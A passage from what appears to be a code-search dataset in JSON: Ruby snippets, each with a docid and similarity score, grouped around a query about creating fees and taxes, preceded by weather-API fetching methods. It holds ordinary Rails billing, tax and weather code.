"text": "def set_temperature\n if current_user.present?\n geocode = current_user.geocode\n if geocode.present?\n lat = geocode.first\n long = geocode.last\n else\n lat = DEFAULT_LAT\n long = DEFAULT_LONG\n end\n\n\n\n url = \"https://api.forecast.io/forecast/#{FORECAST_KEY}/#{long},#{lat}\"\n results = JSON.parse(open(url).read)\n @temperature = results['currently']['temperature']\n @summary = results['currently']['summary']\n end\nend",
"title": ""
},
{
"docid": "2ca8f1d707defa81a6a71589b66a349f",
"score": "0.46067077",
"text": "def weather_info_for(place, date)\n base_url = \"http://www.google.com/ig/api?weather=\"\n url = \"#{base_url}#{URI.encode(place)}\"\n resp = Net::HTTP.get_response(URI.parse(url))\n begin\n forcast = \"\"\n unless date == nil\n \n requested_forcast = \"\"\n short_date = date[0, 3]\n doc, forecast_conditions = Hpricot::XML(resp.body), []\n\n if /tomorrow/i.match(date)\n requested_forcast = (doc/:forecast_conditions)[1].to_s #tomorrow's info\n else\n (doc/:forecast_conditions).each do |forecast|\n forcast_day = /<day_of_week data=\"(.+?)\"/i.match(forecast.to_s)[1]\n if /#{short_date}/i.match(forcast_day)\n requested_forcast = forecast.to_s\n end\n end\n end\n\n temp_high = /<high data=\"(.+?)\"/.match(requested_forcast)[1]\n temp_low = /<low data=\"(.+?)\"/.match(requested_forcast)[1]\n condition = /<condition data=\"(.+?)\"/.match(requested_forcast)[1]\n\n forcast = \"#{condition}, High of #{temp_high}, Low of #{temp_low}\" \n else\n requested_conditions = /<current_conditions>(.+?)<\\/current_conditions>/.match(resp.body)[1]\n # icon = /<icon data=\"(.+?)\"/.match(current_conditions)[1]\n condition = /<condition data=\"(.+?)\"/.match(requested_conditions)[1]\n humidity = /<humidity data=\"Humidity: (.+?)\"/.match(requested_conditions)[1]\n temp = /<temp_f data=\"(.+?)\"/.match(requested_conditions)[1]\n forcast = \"#{condition}, #{temp} F, #{humidity} humidity\"\n end\n \n @room.speak forcast\n \n rescue Exception => e\n return \"Weather Error: #{e} (You may either misspelled the city, or tried searching for a date more than 3 days from now)\"\n end\n end",
"title": ""
},
{
"docid": "163ff162f5f44f763854da048163e9db",
"score": "0.46056023",
"text": "def index\n @nfl_weathers = NflWeather.all\n end",
"title": ""
},
{
"docid": "2e3a60ca6f12a3ba6bac381f587fb6eb",
"score": "0.45954892",
"text": "def read_data\n @temperature = t\n @humidity = h\n [@temperature, @humidity]\n end",
"title": ""
},
{
"docid": "e22a5ccd217221909e1cd0618a9b224f",
"score": "0.45925757",
"text": "def fetch_weather\n\t response = HTTParty.get(\"http://api.wunderground.com/api/cdb75d07a23ad227/#{date}/q/#{location}/#{cityfixed}.xml\")\n\t parse_response(response)\n\tend",
"title": ""
},
{
"docid": "49c89cb0538f8176e3ba44d9ad3d5eb2",
"score": "0.45902637",
"text": "def getValues\n values = []\n values << @layerTC.get_value()\n values << @densTC.get_value().to_f\n return values\n end",
"title": ""
},
{
"docid": "3b7a262517c9cb3452bb3296f2765c27",
"score": "0.45898768",
"text": "def getWeather(location)\n\tinfo = HTTParty.get(\"https://api.forecast.io/forecast/#{API_KEY}/#{location}\")\n\treturn info\nend",
"title": ""
},
{
"docid": "72d2466e22d00e743b0dd03abf4c4641",
"score": "0.4566368",
"text": "def get_data\n cpuinfos = cat_proc\n percents = cpuinfos.zip(@prev_cpuinfos).map do |cpui, prev_cpui|\n cpui.percent(prev_cpui)\n end\n @prev_cpuinfos = cpuinfos\n percents\n end",
"title": ""
},
{
"docid": "9878b6c3fec9e776cf58c3ee3c3f00a5",
"score": "0.4562247",
"text": "def interactive_info(i)\n info = [];\n (2013..2019).each{|year|\n info << i.interactive_page.lightweight_activity.runs.where(updated_at: Date.new(year)..Date.new(year+1)).count\n }\n info << i.interactive_page.lightweight_activity.runs.where(updated_at: Date.new(2020)..Date.today).count\n\n info << i.interactive_page.lightweight_activity.runs.count\n info << i.id\n info << i.interactive_page.lightweight_activity.id\n info << i.url\n info\nend",
"title": ""
}
] |
8d8831b839bdfbda39b239961bb5deea
|
Creates a fee (tax). Creates a fee (tax).
|
[
{
"docid": "2c943d9f15eda316ab78dd57e815146c",
"score": "0.6390678",
"text": "def create_fee(location_id, body, opts = {})\n data, _status_code, _headers = create_fee_with_http_info(location_id, body, opts)\n return data\n end",
"title": ""
}
] |
[
{
"docid": "38de108927372ddd6de3059e055fd30b",
"score": "0.68295306",
"text": "def create\n params[:fee][:amount].gsub!(/[$,]/, '')\n params[:fee][:amount] = (params[:fee][:amount].to_f * 100).to_i\n\n @fee = Fee.new(fee_params)\n @fee.booth = Booth.find(params[:booth_id])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to @fee.booth, notice: 'Fee was successfully created.' }\n format.json { render :show, status: :created, location: @fee }\n else\n format.html { render :new }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb980350e61141457387640719fbe3eb",
"score": "0.674767",
"text": "def add_fee_transaction(bank_account, amount, description = nil)\n return if amount.zero?\n\n logger.debug \"Creating fee transaction for #{amount} from #{bank_account} (#{description})\"\n\n @api.post('BankTransactions', {\n 'Type' => amount.negative? ? 'RECEIVE' : 'SPEND',\n 'Contact' => {\n 'ContactID' => find_or_create_xero_contact(@export.payment_providers[bank_account] ||\n 'Generic Payment Processor')\n },\n 'Date' => @export.date.strftime('%Y-%m-%d'),\n 'BankAccount' => { 'Code' => bank_account },\n 'Reference' => @export.reference,\n 'LineItems' => [\n {\n 'Description' => description || 'Fees',\n 'UnitAmount' => amount.abs,\n 'AccountCode' => @export.fee_accounts[bank_account] || '404',\n 'Tracking' => tracking_options\n }\n ]\n })['BankTransactions'].first\n end",
"title": ""
},
{
"docid": "e2b0ae1e14eee9124de6961b3d416507",
"score": "0.6653502",
"text": "def create_fee(fee_request_body, opts = {})\n data, _status_code, _headers = create_fee_with_http_info(fee_request_body, opts)\n data\n end",
"title": ""
},
{
"docid": "477e817f1fe775a4853b7773c4630acd",
"score": "0.66437376",
"text": "def create_transfer(transfer_type, amount, from, to, fee = nil)\n Account.transaction do\n Transfer.transaction do\n Transfer.create(\n transfer_type: transfer_type,\n amount: amount,\n from: from,\n to: to\n )\n if fee\n fee_account = Account.find_by(account_type: 'fee')\n Transfer.transaction do\n Transfer.create(\n transfer_type: 'fee',\n amount: fee,\n from: to,\n to: fee_account\n )\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "bf3d6a2d3250d5764d865ca4c9585f17",
"score": "0.65632004",
"text": "def fee\n @fee || DEFAULT_FEE\n end",
"title": ""
},
{
"docid": "86dfc6650c5eaa8d8cb8de5ceea59637",
"score": "0.65354025",
"text": "def create_tax_charge!\n unless self.account.try(:is_tax_exempt?)\n Spree::TaxRate.adjust(self, line_items)\n Spree::TaxRate.adjust(self, shipments) if shipments.any?\n end\n end",
"title": ""
},
{
"docid": "200b3871708933808b0dccd80e4227cf",
"score": "0.6493734",
"text": "def node_fee(fee_base_msat, fee_proportional_millionths, amount_to_forward)\n fee_base_msat + (amount_to_forward * fee_proportional_millionths) / 1000000\n end",
"title": ""
},
{
"docid": "4e627abcc5ae0b3bf17be254f0bf10fd",
"score": "0.64387715",
"text": "def create\n @fee = Fee.new(fee_params)\n @fee.user_id = current_user.id\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to @fee, notice: 'Fee was successfully created.' }\n format.json { render :show, status: :created, location: @fee }\n else\n format.html { render :new }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ff2ab09d5a6d12d6a21831515db38d6",
"score": "0.63733095",
"text": "def create\n @fee = Fee.new(params[:fee])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to fees_path, notice: 'Fee was successfully created.' }\n format.json { render json: @fee, status: :created, location: @fee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b38ec392f85809422be67aa78c1a7b9",
"score": "0.6365883",
"text": "def create_finance_fee(collection, student)\n last_receipt_no = FinanceFee.last.receipt_no if FinanceFee.last\n fee = FinanceFee.new\n fee.finance_fee_collection_id = collection\n fee.student_id = student\n fee.is_paid = false\n if last_receipt_no.nil?\n fee.receipt_no = 001\n else\n fee.receipt_no = last_receipt_no.next\n end\n fee.save\n end",
"title": ""
},
{
"docid": "fe44ad1b85dfca54801570014a6f9456",
"score": "0.6362776",
"text": "def create\n @fee = Fee.new(fee_params)\n student = Student.find(params[:fee][:student_id])\n temp = student.due_date.to_date\n if student.term == 'Monthly'\n student.due_date = (temp + 1.month).to_s\n elsif student.term == \"Quarterly\"\n student.due_date = (temp + 3.month).to_s\n elsif student.term = \"Bi-annualy\"\n student.due_date = (temp + 6.month).to_s\n end\n student.save\n @fee.save\n redirect_to fee_path(@fee.id), notice: \"Fee Submitted Successfully\"\n end",
"title": ""
},
{
"docid": "f55bd71258fcb9b897ff2c7b1b552b47",
"score": "0.62808",
"text": "def create\n @tenant_fee = TenantFee.new(tenant_fee_params)\n\n noticeText=\"\"\n if (@tenant_fee.save)\n noticeText = \"Fee was successfully added.\"\n end\n redirect_back(fallback_location: root_path,notice: noticeText)\n end",
"title": ""
},
{
"docid": "71c077ec9127ceb6758e75fb15591a21",
"score": "0.62472975",
"text": "def add_fee(args)\n result = Spreedly.post(\"/subscribers/#{id}/fees.xml\", :body => Spreedly.to_xml_params(:fee => args))\n\n case result.code.to_s\n when /2../\n when '404'\n raise \"Not Found\"\n when '422'\n raise \"Unprocessable Entity - #{result.body}\"\n else\n raise \"Could not add fee to subscriber: result code #{result.code}.\"\n end\n end",
"title": ""
},
{
"docid": "f0c591c3b33f4c5b497b2aa7723ed758",
"score": "0.6236826",
"text": "def create\n fax_request = FaxRequest.new(fax_params)\n fax_request.client_receipt_date = Time.now\n fax_request.save!\n response = send_fax(fax_params)\n update_fax_request(fax_request,response)\n end",
"title": ""
},
{
"docid": "577aa5ac03034facd982a84d138a02d7",
"score": "0.6228558",
"text": "def fee_params\n params.require(:fee).permit(:user_id, :name, :price, :serial, :end_at, :deleted_at)\n end",
"title": ""
},
{
"docid": "82847fef8c7c07c5a419920be4c13175",
"score": "0.62272334",
"text": "def fee\n (amount * 0.005) if amount\n end",
"title": ""
},
{
"docid": "5280b85c7019b608761790064ea32001",
"score": "0.62095267",
"text": "def create_transaction(amount, fine)\n student = self.student\n collection = finance_fee_collection\n category = FinanceTransactionCategory.find_by_name('Fees')\n t = category.finance_transactions.new\n t.title = \"#{student.first_name + ' ' + student.last_name}\"\n t.description = \"#{collection.name + ' ' + collection.start_date.to_s}\"\n t.amount = amount\n t.transaction_date = Date.today\n t.student_id = student.id\n t.finance_fee_id = id\n t.fine_included = fine\n t.save\n end",
"title": ""
},
{
"docid": "1c4ae2608eaa6fc6680eebe75599145f",
"score": "0.6170657",
"text": "def set_fee\n @book = Book.find(params[:book_id])\n @fee = @book.fees.find(params[:id])\n end",
"title": ""
},
{
"docid": "e63409a02d3a4ab4c505a961e7edbf44",
"score": "0.6166177",
"text": "def create\n @pay_fee = PayFee.new(pay_fee_params)\n\n respond_to do |format|\n if @pay_fee.save\n format.html { redirect_to @pay_fee, notice: 'Pay fee was successfully created.' }\n format.json { render :show, status: :created, location: @pay_fee }\n else\n format.html { render :new }\n format.json { render json: @pay_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f68aa1d70cc2b5440567dd5008301e77",
"score": "0.61539775",
"text": "def create_fee_with_http_info(fee_request_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FeesApi.create_fee ...'\n end\n # verify the required parameter 'fee_request_body' is set\n if @api_client.config.client_side_validation && fee_request_body.nil?\n fail ArgumentError, \"Missing the required parameter 'fee_request_body' when calling FeesApi.create_fee\"\n end\n # resource path\n local_var_path = '/fees'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(fee_request_body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SingleFee'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth', 'oAuth2ClientCredentials']\n\n new_options = opts.merge(\n :operation => :\"FeesApi.create_fee\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FeesApi#create_fee\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7aa721746191e16a2e6ff0e5234805ba",
"score": "0.61327404",
"text": "def create\n @tax = Tax.new(tax_params)\n if @tax.save\n redirect_to admin_taxes_path\n flash[:success] = \"Woohoo! tax created successfully.\"\n else\n render 'new'\n flash[:error] = \"Oops! Something went wrong!\"\n end\n end",
"title": ""
},
{
"docid": "8840ac82051176e14eb822f2f7f5d911",
"score": "0.6110407",
"text": "def create\n #@klass_fee = KlassFee.new(params[:klass_fee])\n ap params[:fee]\n begin\n params[:fee].each do |fee_type_id, amount|\n puts \"=======xx==========\"\n ap KlassFee.create({klass_id: @klass.id, fee_type_id: fee_type_id, amount: amount[:amount]})\n end\n \n redirect_to klass_klass_fees_path(@klass), notice: 'Klass fee was successfully created.'\n #rescue Exception => e\n # render action: \"new\" \n end\n end",
"title": ""
},
{
"docid": "02f091a5d6ed162b6037c2cd745a8da0",
"score": "0.609077",
"text": "def create\n @taxfree = Taxfree.new(taxfree_params)\n\n respond_to do |format|\n if @taxfree.save\n format.html { redirect_to @taxfree, notice: 'Taxfree was successfully created.' }\n format.json { render :show, status: :created, location: @taxfree }\n else\n format.html { render :new }\n format.json { render json: @taxfree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cde36622bd4b9306fdb2bb6d3169492",
"score": "0.6080549",
"text": "def create_tax_charge!\n #puts \"Adjustments #{adjustments} TAX #{tax_total}\"\n #puts \"CREATE TAX for #{ship_address} \"\n all_rates = Spree::TaxRate.all\n matching_rates = all_rates.select { |rate| rate.zone.include?(ship_address) }\n if matching_rates.empty?\n matching_rates = all_rates.select{|rate| # get all rates that apply to default country \n rate.zone.country_list.collect{|c| c.id}.include?(Spree::Config[:default_country_id])\n }\n end\n adjustments.where(:originator_type => \"TaxRate\").each do |old_charge|\n old_charge.destroy\n end\n matching_rates.each do |rate|\n #puts \"Creating rate #{rate.amount}\" \n rate.create_adjustment( rate.tax_category.description , self, self, true)\n end\n end",
"title": ""
},
{
"docid": "9e64694cfc54d75e77b5f0fe59e45087",
"score": "0.6075793",
"text": "def create\n @shipping_fee = ShippingFee.new(shipping_fee_params)\n\n respond_to do |format|\n if @shipping_fee.save\n format.html { redirect_to action: :index, notice: 'Create Success.' }\n format.json { render action: :index, status: :created }\n else\n format.html { render action: :new }\n format.json { render json: @shipping_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3457028783e8fe8db2c6b7922e70352",
"score": "0.603871",
"text": "def fee\n params['amount_fee']\n end",
"title": ""
},
{
"docid": "9847af46b24a0ee8bf92b60fa42304f5",
"score": "0.6005972",
"text": "def create\n @shipping_fee = ShippingFee.new(params[:shipping_fee])\n\n respond_to do |format|\n if @shipping_fee.save\n format.html { redirect_to(@shipping_fee, :notice => '创建成功!') }\n format.xml { render :xml => @shipping_fee, :status => :created, :location => @shipping_fee }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shipping_fee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3a5409f4dfa39818869613610c00db3",
"score": "0.5988908",
"text": "def fee_params\n params.require(:fee).permit(:description, :amount)\n end",
"title": ""
},
{
"docid": "4def237ba4d9bb1edb95cccc4742f4c1",
"score": "0.5946074",
"text": "def set_fee\n @fee = Fee.find(params[:id])\n end",
"title": ""
},
{
"docid": "4def237ba4d9bb1edb95cccc4742f4c1",
"score": "0.5946074",
"text": "def set_fee\n @fee = Fee.find(params[:id])\n end",
"title": ""
},
{
"docid": "4def237ba4d9bb1edb95cccc4742f4c1",
"score": "0.5946074",
"text": "def set_fee\n @fee = Fee.find(params[:id])\n end",
"title": ""
},
{
"docid": "8d74ed90bc73ebf36b46208ed2761ae3",
"score": "0.5907418",
"text": "def build_detail_fee_based\n details = self.invoice_details.new(:created_user => self.created_user, :record_type => InvoiceDetail::FEE, :provider_name => 'a',\n :patient_name => 'a', :dos => Date.today, :disposition => InvoiceDetail::INCLUDE)\n end",
"title": ""
},
{
"docid": "ba03e9337c06d6def9da93bbccbf8f47",
"score": "0.5881049",
"text": "def create\n @membership_fee = MembershipFee.new(params[:membership_fee])\n\n respond_to do |format|\n if @membership_fee.save\n format.html { redirect_to @membership_fee, notice: 'Membership fee was successfully created.' }\n format.json { render json: @membership_fee, status: :created, location: @membership_fee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @membership_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c15b0bcc5707ae93e446d4119270039f",
"score": "0.58384824",
"text": "def total_fee\n fee + fee2 + fee3 + fee4\n end",
"title": ""
},
{
"docid": "bab8e637fb1de444c84481662dd1d383",
"score": "0.58359617",
"text": "def set_fee\n @fee = Fee.friendly.friendly.find(params[:fee_id])\n end",
"title": ""
},
{
"docid": "97922678d822541661413da28d7216d5",
"score": "0.5833085",
"text": "def add_klarna_fee!\n if add_klarna?\n\n # FIXME require validation that order restrict partitial payments\n paymeth = payments.first.payment_method\n\n fee = paymeth.preferred(:invoice_fee)\n adj = adjustments.create(amount: fee,\n source: self,\n label: Spree.t(:invoice_fee))\n # FIXME define correct originator\n # paymenthod is not correct spree/core/app/models/spree/adjustment.rb\n # adj.originator = paymeth\n # adj.save!\n adj.lock!\n update!\n end\n end",
"title": ""
},
{
"docid": "a775d70edf9cad9e0b97eb768db2798e",
"score": "0.5799726",
"text": "def add_tax(tax)\n tax_breakdown(tax)[0]\n end",
"title": ""
},
{
"docid": "9a528c1f49c39f4255f244f8f1a29f1d",
"score": "0.5789179",
"text": "def calcuate_tax\n @price * 0.12\n end",
"title": ""
},
{
"docid": "2555a26e55434cff4aad9f9932145c07",
"score": "0.5784613",
"text": "def create(to, from, url, optional_params = {})\n opts = { :To => to, :From => from, :Url => url }.merge(optional_params)\n response = Network.post(['Faxes'], opts)\n Fax.new(response)\n end",
"title": ""
},
{
"docid": "3b5acb46e6c36153cfe49f1634a753de",
"score": "0.5763138",
"text": "def transaction_fee\n Money.new(-WITHDRAWAL_FEE_IN_CENTS, self.currency)\n end",
"title": ""
},
{
"docid": "534186042c1b7ef787ba582506173cf8",
"score": "0.57551205",
"text": "def create\n \n @tax_return = current_user.tax_returns.build(params[:tax_return])\n\n respond_to do |format|\n if @tax_return.save\n format.html { redirect_to @tax_return, notice: 'Tax return was successfully created.' }\n format.json { render json: @tax_return, status: :created, location: @tax_return }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tax_return.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4aef5f16b8b3720d06ef89d279ddfe60",
"score": "0.5733489",
"text": "def create\n @invoice_tax = InvoiceTax.new(params[:invoice_tax])\n\n respond_to do |format|\n if @invoice_tax.save\n format.html { redirect_to @invoice_tax, notice: 'Invoice tax was successfully created.' }\n format.json { render json: @invoice_tax, status: :created, location: @invoice_tax }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice_tax.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f75f540d338ec21fe18ee336a2acd8e1",
"score": "0.5725944",
"text": "def bar_accepts_fee(fee)\n @bar_cash += fee\n end",
"title": ""
},
{
"docid": "5abc18b374b2d389c749ccd6a9fe1fdf",
"score": "0.57235855",
"text": "def tax_calc\n tax = @quantity * @price * @taxe\n end",
"title": ""
},
{
"docid": "7016e70a9bf8a7cd4e238eb8a3f22354",
"score": "0.5719614",
"text": "def fee_params\n params.require(:fee).permit(:student_id, :amount, :user_id, :month)\n end",
"title": ""
},
{
"docid": "e150f06d3d8720989539649f03dcfade",
"score": "0.56994295",
"text": "def create\n @tax = Tax.new(tax_params)\n\n if @tax.save\n render json: @tax, status: :created, location: @tax\n else\n render json: @tax.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a8579c5dbca9b358edae20fef89c0426",
"score": "0.56994015",
"text": "def fee_params\n params.require(:fee).permit(:fee_name)\n end",
"title": ""
},
{
"docid": "680321b059c4bac24081d11a9f50e0a6",
"score": "0.56727666",
"text": "def set_tenant_fee\n @tenant_fee = TenantFee.find(params[:id])\n end",
"title": ""
},
{
"docid": "8cc3ef8159e8e81665158bfee77280ff",
"score": "0.56677866",
"text": "def fee_transaction_params\n params.require(:fee_transaction).permit(:start_date, :end_date, :transaction_type, :value, :fee_id, :apartment_id)\n end",
"title": ""
},
{
"docid": "c0edda35bc121827c25f8925369c7dcc",
"score": "0.5664172",
"text": "def apply_fees\n remove_fees\n unless waive_fees\n #CHALKLE\n self.chalkle_gst_number = Finance::CHALKLE_GST_NUMBER\n self.chalkle_fee = course.chalkle_fee_no_tax\n self.chalkle_gst = course.chalkle_fee_with_tax - chalkle_fee\n \n self.processing_fee = course.processing_fee\n self.processing_gst = course.processing_fee*3/23\n self.processing_fee = course.processing_fee-self.processing_gst\n\n #TEACHER FEE\n if provider_pays_teacher?\n self.teacher_fee = 0\n self.teacher_gst = 0\n else\n if fee_per_attendee?\n self.teacher_fee = course.teacher_cost\n elsif flat_fee?\n confirmed_booking_count = course.bookings.fees_not_waived.paid.confirmed.count\n if confirmed_booking_count > 0\n self.teacher_fee = course.teacher_cost / confirmed_booking_count\n else\n self.teacher_fee = course.teacher_cost\n end\n end\n end\n\n #TEACHER TAX\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst_number = course.teacher.tax_number\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n else\n self.teacher_gst = 0\n self.teacher_gst_number = nil\n end\n\n #PROVIDER\n self.provider_fee = course.provider_fee\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n\n #adjust in case calc_cost is not course cost, should only happen if flat_fee\n difference = course.cost - calc_cost\n if difference != 0\n self.provider_fee = course.provider_fee + difference\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n end\n\n #adjust in case payment has been made already\n difference = cost - calc_cost\n if difference != 0\n #adjust processing_fee\n self.processing_fee = cost * course.provider_plan.processing_fee_percent\n self.processing_gst = self.processing_fee*3/23\n self.processing_fee = self.processing_fee-self.processing_gst\n\n #reset difference to adjust for processing_fee changes\n difference = cost - calc_cost\n\n #if payment exists then adjust provider fee to ensure the payment amount matches calc_cost\n adjustment_for_provider = difference\n adjustment_for_teacher = 0\n\n if provider_fee+provider_gst+difference < 0\n #if adjusted provider_fee is negative then deduct that negative amount from teacher_fee and make provider_fee 0\n adjustment_for_teacher = provider_fee+provider_gst+difference \n self.provider_fee = 0\n self.provider_gst = 0\n else\n self.provider_fee = provider_fee+provider_gst+adjustment_for_provider\n if provider.tax_registered?\n self.provider_gst = provider_fee*3/23\n self.provider_fee = provider_fee - provider_gst\n end\n end\n \n if adjustment_for_teacher != 0\n self.teacher_fee = teacher_fee+teacher_gst+adjustment_for_teacher\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n end\n end\n end\n end\n cost\n end",
"title": ""
},
{
"docid": "6e0e6aaaad63d3cb179126ab1d5587f7",
"score": "0.5663541",
"text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save && calculate_taxes(@sale)\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "40dcbc17a4352ae8df8f0429873d8034",
"score": "0.56551194",
"text": "def add_taxes(amt, good_tax, import_tax)\n amt += good_tax + import_tax\n amt.round(2)\n end",
"title": ""
},
{
"docid": "266a07cb8aa1083e8e035fc27c1a9ec7",
"score": "0.5648763",
"text": "def calculate_fee_amount base_amount\n (base_amount * SITE_FEE_PERCENTAGE).round(2)\n end",
"title": ""
},
{
"docid": "749bcf0f82bdbb732aa2fa102d13d4be",
"score": "0.564598",
"text": "def create_finance_transaction\n\t\tfinance_transaction = FinanceTransaction.new\n\t\tfinance_transaction.payee = self.store\n\t\tfinance_transaction.receiver = User.current\n\t\tfinance_transaction.finance = self\n\t\tfinance_transaction.amount = self.paid_amount\n\t\tfinance_transaction.transaction_date = self.selling_date\n\t\tfinance_transaction.save\n\tend",
"title": ""
},
{
"docid": "790daa3a403c43f3551b273aa9fbc5ae",
"score": "0.56359774",
"text": "def restaurant_bill(meal_cost, tax, tips)\n tax_amount = meal_cost * tax\n tip_amount = meal_cost * tips\n meal_cost + tax_amount + tip_amount\nend",
"title": ""
},
{
"docid": "0b2d5250dec108c2227ab92222a1a2a5",
"score": "0.56148016",
"text": "def create\n\n raise BadRequestError.new('no current character') if current_character.nil?\n raise BadRequest.new('missing parameter(s)') if params[:tax_rate_action].nil? || params[:tax_rate_action][:tax_rate].blank? || params[:tax_rate_action][:settlement_id].blank?\n\n settlement = Settlement::Settlement.find_by_id(params[:tax_rate_action][:settlement_id])\n tax_rate = params[:tax_rate_action][:tax_rate].to_f\n \n raise NotFoundError.new ('Settlement with id #{params[:tax_rate_action][:settlement_id]} not Found.') if settlement.nil?\n raise ForbiddenError.new('tried to set tax rate on a foreign settlement.') unless settlement.owner == current_character\n raise BadRequestError.new('settlement does not own the region.') unless settlement.owns_region?\n raise ForbiddenError.new ('tax rate out of range.') if tax_rate < 0.05 || tax_rate > 0.15\n raise ForbiddenError.new ('no tax rate change possible at the moment') unless settlement.tax_rate_change_possible?\n\n settlement.tax_rate = tax_rate\n settlement.tax_changed_at = Time.now\n settlement.save\n \n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "35ec335fda922b602128d67454cf32e1",
"score": "0.5612409",
"text": "def create\n subtotal = Product.find_by(id: params[:product_id]).price\n tax = subtotal * 0.09\n total = subtotal + tax\n\n order = Order.new( \n user_id: current_user.id,\n product_id: params[:product_id],\n quantity: params[:quantity],\n subtotal: subtotal,\n tax: tax,\n total: total \n )\n if order.save\n render json: {message: 'Order created successfully'}, status: :created\n else\n render json: {errors: order.errors.full_messages}, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "378232f2546ab032e40c097138527594",
"score": "0.5605244",
"text": "def new\n @tax = Tax.new\n end",
"title": ""
},
{
"docid": "2a99bf25c972af96e9ab5c90c5a40810",
"score": "0.5600066",
"text": "def create_fee_with_http_info(location_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: V1ItemsApi.create_fee ...\"\n end\n # verify the required parameter 'location_id' is set\n fail ArgumentError, \"Missing the required parameter 'location_id' when calling V1ItemsApi.create_fee\" if location_id.nil?\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling V1ItemsApi.create_fee\" if body.nil?\n # resource path\n local_var_path = \"/v1/{location_id}/fees\".sub('{format}','json').sub('{' + 'location_id' + '}', location_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n \n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'V1Fee')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: V1ItemsApi#create_fee\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "bf572826f8c052d761c63768086397db",
"score": "0.5583942",
"text": "def pay(amount, fee, sources, target, change)\n first_one do |api|\n api.pay(amount, fee, sources, target, change)\n end\n end",
"title": ""
},
{
"docid": "4cce922512e2405ef0921cf63e6f54e5",
"score": "0.558279",
"text": "def set_fee_transaction\n @fee_transaction = FeeTransaction.find(params[:id])\n end",
"title": ""
},
{
"docid": "f7ef5f42e57584dd323c4eaa071be4cd",
"score": "0.5580303",
"text": "def create\n @fax = Fax.new(fax_params)\n\n respond_to do |format|\n if @fax.save\n format.html { redirect_to @fax, notice: 'Fax was successfully created.' }\n format.json { render :show, status: :created, location: @fax }\n else\n format.html { render :new }\n format.json { render json: @fax.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de73238ec15e5f47e67e7c61324573db",
